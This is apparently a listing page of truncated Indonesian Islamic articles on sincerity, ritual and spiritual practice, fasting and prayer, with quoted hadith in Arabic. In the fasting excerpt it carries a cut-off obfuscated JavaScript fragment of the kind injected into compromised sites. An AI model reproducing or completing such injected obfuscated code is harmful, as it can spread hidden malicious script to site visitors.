Oleh: Dr. Muhsin Labib, MA Ketulusan kerap kali disamakan dengan keikhlasan. Padahal ketulusan atau tulus menurut Kamus Besar Bahasa Indonesia atau KBBI merupakan sungguh dan bersih hati atau benar-benar keluar dari hati yang jujur. Pengertian tidak memuat Tuhan sebagai objek Tuhan dan tidak memasukkan motif dan
Oleh: Dr. Muhsin Labib, MA Shalat, berziarah, berzikir, berdoa dan lain sebagainya adalah aktivitas ritual. Mengganti pamrih dengan ikhlas, iri dengan syukur, sombong dengan rendah hati adalah aktivitas spiritual. Melakukan aktivitas ritual itu sulit karena ritual dianggap sah bila pelaku memenuhi serangkaian syaratnya. Aktivitas ritual lebih mudah ketimbang
- Benteng dari api neraka. Rasulullah saw bersabda: "Puasa itu adalah benteng dari api neraka."- Menyehatkan badan. Rasulullah saw bersabda: "Berpuasalah, niscaya kalian akan sehat."- Memastikan keikhlasan. Sayidah Fathimah a.s. berkata: "Allah Swt mewajibkan puasa agar memastikan keikhlasan (hanya kepada-Nya semata)" [Mizanul Hikmah, 3/49] function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
Manusia tidak mampu menggapai keseluruhan salat. Namun manusia mampu memahami rahasia-rahasia tersebut sesuai dengan takaran jiwa masing-masing. Beberapa rahasia tersebut ialah: Menifesta zikir kepada Allah Swt Salah satu dari rahasia salat yang disebut al-Quran ialah mengingat Tuhan. Sesungguhnya Aku ini adalah Allah, tidak ada
Allah Swt berfirman: “Orang-orang yang berdebar-debar hatinya lantaran takut ketika menyebut nama Allah dan imannya bertambah ketika membaca Alquran, mereka bertawakal kepada Tuhan mereka dan yang mendirikan salat, menginfakkan apa-apa yang diberikan kepada mereka, itulah orang- orang yang beriman dengan sebenar-benarnya, mereka akan memperoleh derajat
وتصعد الحفظة بعمل العبد يزهر كالكوكب الدرّي في السماء، له دويّ بالتسبيح والصوم والحجّ، فيمرّ به إلى ملك السماء الرابعة، فيقول له : قف، فاضرب بهذا العمل وجه صاحبه وبطنه، أنا ملك العُجْب، فإنّه كان يعجب بنفسه، وإنّه عمل وأدخل نفسه العجب، أمرني ربّي أن
Dinukil dari Misbah al-Syari’ah bahwa Imam Jakfar al-Shadiq as berkata; وأدنى حدّ الإخلاص بذل العبد طاقته، ثُمّ لا يجعل لعمله عند الله قدراً، فيوجب به على ربّه مكافأة بعمله لعلمه أ نّه لو طالبه بوفاء حقّ العبوديّة لعجز. وأدنى مقام المخلص في الدنيا السلامة من
Berikut ini beberapa riwayat dari pada insan maksum Ahlul Bait as mengenai keutamaan ikhlas: Diriwayatkan dari Dawud bin Sulaiman dari Imam Ali al-Ridha as dari para leluhurnya bahwa Amirul Mukminin Ali bin Abi Thalib as berkata; الدنيا كلّها جهل إلاّ مواضع العلم، والعلمُ كلّه حجّة إلاّ
Kesempurnaan ikhlas tidak berarti ketiadaan rasa peduli dan hasrat kepada pahala dan siksa. Contoh keikhlasan ini terdapat dalam sebuah riwayat dari Abu Darda’ yang dinukil oleh Urwah bin al-Zubair sebagai berikut; “Suatu hari di majelis Masjid Nabawi kami mengingat-ingat keutamaan para pejuang Badar dan Baiat Ridwan.
Penjelasan lebih jauh mengenai tingkatan ikhlas dalam beramal ialah sebagai berikut; Tingkat pertama, ikhlas sebatas dalam pengertiannya secara fikih yang merupakan syarat sahnya amal ibadah, yaitu niat mendekatkan diri (taqaarub) kepada Allah SWT. Pertanyaan yang mengemuka tentang ini ialah bahwa dalam fikih memang disyaratkan demikian, tapi
